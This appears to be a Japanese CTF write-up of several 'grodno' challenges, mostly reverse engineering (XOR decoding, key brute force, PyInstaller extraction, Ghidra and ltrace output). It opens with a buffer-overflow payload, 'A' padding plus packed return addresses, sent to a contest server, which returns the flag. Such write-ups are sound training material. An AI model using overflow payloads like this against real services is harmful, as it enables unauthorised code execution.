Input username:b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xa4\x11@\x00\x00\x00\x00\x00\xb5\x11@\x00\x00\x00\x00\x00f\x11@\x00\x00\x00\x00\x00'
b'Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@"grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}"\n'
[*] Closed connection to ctf.mf.grsu.by port 9078
grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}

Hybrid Encryption (Reverse)

"grodno{"と"}"の間のみ0xaaとXORしてbase64エンコードしているので、元に戻す。

#!/usr/bin/env python3
from base64 import *

enc = 'np2Z3p2c3s6YmZ3ezs2ZmM/Tnc7NmJmdz5yYm96cz8+Ym53Z3w=='
enc = b64decode(enc)

flag = ''.join([chr(c ^ 0xaa) for c in enc])
flag = 'grodno{%s}' % flag
print(flag)
grodno{473t76td237tdg32ey7dg237e621t6ee217su}

Dynamic Key (Reverse)

"grodno{"と"}"の間の文字列について、暗号化している。このときUNIXTIMEの整数値を元に鍵を生成しているが、結局0x7Fでマスクしているため、128パターンしか鍵はない。あとはブルートフォースで復号してprintableな文字列を取得して、フラグを得る。

#!/usr/bin/env python3
from string import *

def decrypt(s, key):
    d = b''
    for i, c in enumerate(s):
        v = (c ^ (i * 2)) - key
        if v < 0:
            return b''
        d += bytes([v])
    return d

def is_alnum_us(s):
    try:
        s = s.decode()
    except:
        return False

    chars = ascii_letters + digits + '_'
    for c in s:
        if c not in chars:
            return False
    return True

expected = b'\x74\xab\x9a\x62\x95\x6b\x9f\x81\x6b\x87\xbd\x99\x81\xb9\x93\x98\xb5\x80\x8d\xa9\x5b\x4a\xb1\x8e\xac\xa7\x9c\xb9\xa9\xa4\xa8\xb1\x39\xdc\xd7\x26\xd5\xea\xee\xdb\xc8\xc7\xca\xf5\x39\xc8\xc0\xcb'

for key in range(128):
    flag = decrypt(expected, key)
    if flag != b'' and is_alnum_us(flag):
        flag = 'grodno{%s}' % flag.decode()
        print(flag)
        break
grodno{Dyn4m1c_Key_is_Very_C0mplex_and_Inc0mprehens1ble}

Turing Award (Reverse)

コードからわかることは以下の通り。

・フラグの長さは30
・"grodno{"と"}"の間の2文字をペアとしたときのXORの値はenc[i]とkey[i]のXORと同じ

また、フラグの"{"と"}"の間は、name1-name2--name3の形式になっていて、チューリング賞を受賞した3名の女性の名前が付いているようである。
「turing award winners female」で検索すると、受賞者は次の3人しかいない。

・Frances Allen
・Barbara Liskov
・Shafi Goldwasser

これを踏まえ、平文を推測する。

>>> 0x6e ^ ord('M')
35
>>> ord('F') ^ ord('r')
52
>>> ord('B') ^ ord('a')
35
>>> ord('S') ^ ord('h')
59

最初は"Barbara"と推測できる。

>>> 0x49 ^ ord('Y')
16
>>> ord('r') ^ ord('b')
16

>>> 0x60 ^ ord('S')
51
>>> ord('a') ^ ord('r')
19
>>> ord('a') ^ ord('R')
51

中合わない部分があったので、大文字を混ぜてみた。

>>> 0x9 ^ ord('E')
76
>>> ord('a') ^ ord('-')
76

>>> 0x78 ^ ord('C')
59

次は"Shafi"と推測できる。

>>> 0x75 ^ ord('R')
39
>>> ord('a') ^ ord('f')
7
>>> ord('a') ^ ord('F')
39

>>> 0x1 ^ ord('E')
68
>>> ord('i') ^ ord('-')
68

>>> 0x3f ^ ord('T')
107
>>> ord('-') ^ ord('F')
107

最後は"Frances"と推測できる。

>>> 0x58 ^ ord('K')
19
>>> ord('r') ^ ord('a')
19

>>> 0x68 ^ ord('E')
45
>>> ord('n') ^ ord('c')
13
>>> ord('n') ^ ord('C')
45

>>> 0x4f ^ ord('Y')
22
>>> ord('e') ^ ord('s')
22

以上の確認結果から、フラグを構成できる。

grodno{BarbaRa-ShaFi--FranCes}

Reverse Puzzle (Reverse)

"grodno{"と"}"の間の文字列sについて、puzzle(s, 5) == '789603251257384214725442633'が成り立つものを見つける。
puzzle関数は2飛びの文字列を2つ結合したものになっていて、今回はこれを5回行う。逆算する関数を作成し、元に戻す。

#!/usr/bin/env python3
def rev_puzzle(s: str, step: int) -> str:
    assert len(s) % 2 == 1

    if step == 0:
        return s

    half = len(s) // 2
    s1 = s[:half + 1]
    s2 = s[half + 1:]
    s = ''
    for i in range(half):
        s += s1[i]
        s += s2[i]
    s += s1[-1]
    return rev_puzzle(s, step - 1)

enc = '789603251257384214725442633'
flag = rev_puzzle(enc, 5)
flag = 'grodno{%s}' % flag
print(flag)
grodno{774248325798612643250235431}

Compiled Python (Reverse)

$ strings main | grep python     
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
blib-dynload/_bisect.cpython-310-x86_64-linux-gnu.so
blib-dynload/_blake2.cpython-310-x86_64-linux-gnu.so
blib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so
blib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so
blib-dynload/_csv.cpython-310-x86_64-linux-gnu.so
blib-dynload/_datetime.cpython-310-x86_64-linux-gnu.so
blib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so
blib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so
blib-dynload/_heapq.cpython-310-x86_64-linux-gnu.so
blib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so
blib-dynload/_md5.cpython-310-x86_64-linux-gnu.so
blib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so
blib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so
blib-dynload/_pickle.cpython-310-x86_64-linux-gnu.so
blib-dynload/_posixsubprocess.cpython-310-x86_64-linux-gnu.so
blib-dynload/_random.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha1.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha256.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha3.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha512.cpython-310-x86_64-linux-gnu.so
blib-dynload/_socket.cpython-310-x86_64-linux-gnu.so
blib-dynload/_statistics.cpython-310-x86_64-linux-gnu.so
blib-dynload/_struct.cpython-310-x86_64-linux-gnu.so
blib-dynload/array.cpython-310-x86_64-linux-gnu.so
blib-dynload/binascii.cpython-310-x86_64-linux-gnu.so
blib-dynload/fcntl.cpython-310-x86_64-linux-gnu.so
blib-dynload/grp.cpython-310-x86_64-linux-gnu.so
blib-dynload/math.cpython-310-x86_64-linux-gnu.so
blib-dynload/resource.cpython-310-x86_64-linux-gnu.so
blib-dynload/select.cpython-310-x86_64-linux-gnu.so
blib-dynload/unicodedata.cpython-310-x86_64-linux-gnu.so
blib-dynload/zlib.cpython-310-x86_64-linux-gnu.so
blibpython3.10.so.1.0
6libpython3.10.so.1.0

この実行ファイルはPython3.10の環境でPythonコードをelf化したもののようだ。pycを抽出し、その処理のメインとなる部分をデコンパイルする。

$ python3 pyinstxtractor.py main
[+] Processing main
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6315185 bytes
[+] Found 54 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: main

You can now use a python decompiler on the pyc files within the extracted directory

$ pycdc main_extracted/main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

from hashlib import sha256
password = 'th1s_1s_n0t_th3_p4ssw0rd_I_sw3ar'
enteredPassword = input('Enter password: ')
flag = 'grodno{' + sha256(enteredPassword.encode()).hexdigest()[:32] + '}'
if len(enteredPassword) == len(password) and enteredPassword == password:
    print('You are right!')
print(flag)

入力するパスワードはth1s_1s_n0t_th3_p4ssw0rd_I_sw3arであることがわかったので、入力してみる。

$ ./main               
Enter password: th1s_1s_n0t_th3_p4ssw0rd_I_sw3ar
You are right!
grodno{88ce08dee4f5c6c9a2188d49fd3e9fdd}
grodno{88ce08dee4f5c6c9a2188d49fd3e9fdd}

Little warm-up (Reverse)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  int iVar1;
  ostream *poVar2;
  long in_FS_OFFSET;
  allocator local_b9;
  allocator *local_b8;
  allocator *local_b0;
  string local_a8 [32];
  string local_88 [32];
  string local_68 [32];
  string local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    poVar2 = std::operator<<((ostream *)std::cout,"Usage: ./main.exe <password>");
    std::ostream::operator<<(poVar2,std::endl<>);
  }
  else {
    local_b8 = &local_b9;
                    /* try { // try from 0010268a to 0010268e has its CatchHandler @ 001027f9 */
    std::string::string<>
              (local_a8,"63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849",&local_b9
              );
    std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_b9);
    local_b0 = &local_b9;
                    /* try { // try from 001026ce to 001026d2 has its CatchHandler @ 0010282b */
    std::string::string<>(local_88,*(char **)(param_2 + 8),&local_b9);
    std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_b9);
                    /* try { // try from 001026f1 to 001026f5 has its CatchHandler @ 00102862 */
    sha256(local_68);
                    /* try { // try from 00102707 to 00102743 has its CatchHandler @ 00102851 */
    iVar1 = std::string::compare(local_a8,local_68);
    if (iVar1 == 0) {
      poVar2 = std::operator<<((ostream *)std::cout,"You are right! Your flag: grodno{");
      md5(local_48);
                    /* try { // try from 0010274e to 00102779 has its CatchHandler @ 00102840 */
      poVar2 = std::operator<<(poVar2,local_48);
      poVar2 = std::operator<<(poVar2,"}");
      std::ostream::operator<<(poVar2,std::endl<>);
      std::string::~string(local_48);
    }
    else {
                    /* try { // try from 0010279c to 001027b2 has its CatchHandler @ 00102851 */
      poVar2 = std::operator<<((ostream *)std::cout,"You are wrong");
      std::ostream::operator<<(poVar2,std::endl<>);
    }
    std::string::~string(local_68);
    std::string::~string(local_88);
    std::string::~string(local_a8);
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

よくわからないので、ltraceしてみる。

$ ltrace ./main0.exe a
strlen("63f907ed0c04f2fe1936c0caca8cafd1"...)                                                                                     = 64
_Znwm(65)                                                                                                                         = 0x55f869ec22b0
memcpy(0x55f869ec22b0, "63f907ed0c04f2fe1936c0caca8cafd1"..., 64)                                                                 = 0x55f869ec22b0
strlen("a")                                                                                                                       = 1
SHA256_Init(0x7ffeedfc3a40, 0x7ffeedfc3ce0, 0x7ffeedfc3ce0, 0x7ffeedfc617e)                                                       = 1
SHA256_Update(0x7ffeedfc3a40, 0x7ffeedfc3cf0, 1, 0x7ffeedfc3cf0)                                                                  = 1
SHA256_Final(0x7ffeedfc3c40, 0x7ffeedfc3a40, 0x7ffeedfc3a40, 0)                                                                   = 1
_ZNSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEEC1Ev(0x7ffeedfc3ab0, 0, 0, 0)                                          = 0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 0x7f319b063f80)                                        = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 0x7f319b063f80)                = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 0x7f319b063f80)                  = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 0xffff)                                                                            = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 0x7ffeedfc3b61)                                        = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 0x7ffeedfc3b61)                = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 0x7ffeedfc3b61)                  = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 151, 0x7ffeedfc3ac0, 0x7ffeedfc3b61)                                                                    = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 57)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 57)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 57)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 129, 0x7ffeedfc3ac0, 57)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 18, 0x7ffeedfc3ac0, 56)                                                                                 = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 49)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 99)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 99)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 99)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 27, 0x7ffeedfc3ac0, 99)                                                                                 = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 189, 0x7ffeedfc3ac0, 49)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 98 <unfinished ...>
_Znwm(513)                                                                                                                        = 0x55f869ec2300
<... _ZNSolsEi resumed> )                                                                                                         = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 15)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 15)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 15)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 250, 0x7ffeedfc3ac0, 15)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 102)                                                   = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 102)                           = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 102)                             = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 194, 0x7ffeedfc3ac0, 102)                                                                               = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 99)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 99)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 99)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 49, 0x7ffeedfc3ac0, 99)                                                                                 = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 51)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 51)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 51)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 179, 0x7ffeedfc3ac0, 51)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 154, 0x7ffeedfc3ac0, 98)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 57)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 57)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 57)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 35, 0x7ffeedfc3ac0, 57)                                                                                 = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 50)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 50)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 50)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 220, 0x7ffeedfc3ac0, 50)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 100)                                                   = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 100)                           = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 100)                             = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 77, 0x7ffeedfc3ac0, 100)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 167, 0x7ffeedfc3ac0, 52)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 97)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 97)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 97)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 134, 0x7ffeedfc3ac0, 97)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 239, 0x7ffeedfc3ac0, 56)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 101)                                                   = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 101)                           = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 101)                             = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 248, 0x7ffeedfc3ac0, 101)                                                                               = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 102)                                                   = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 102)                           = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 102)                             = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 20, 0x7ffeedfc3ac0, 102)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 124, 0x7ffeedfc3ac0, 49)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 78, 0x7ffeedfc3ac0, 55)                                                                                 = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 114, 0x7ffeedfc3ac0, 52)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 185, 0x7ffeedfc3ac0, 55)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98)                            = 0x7ffeedfc3ac0
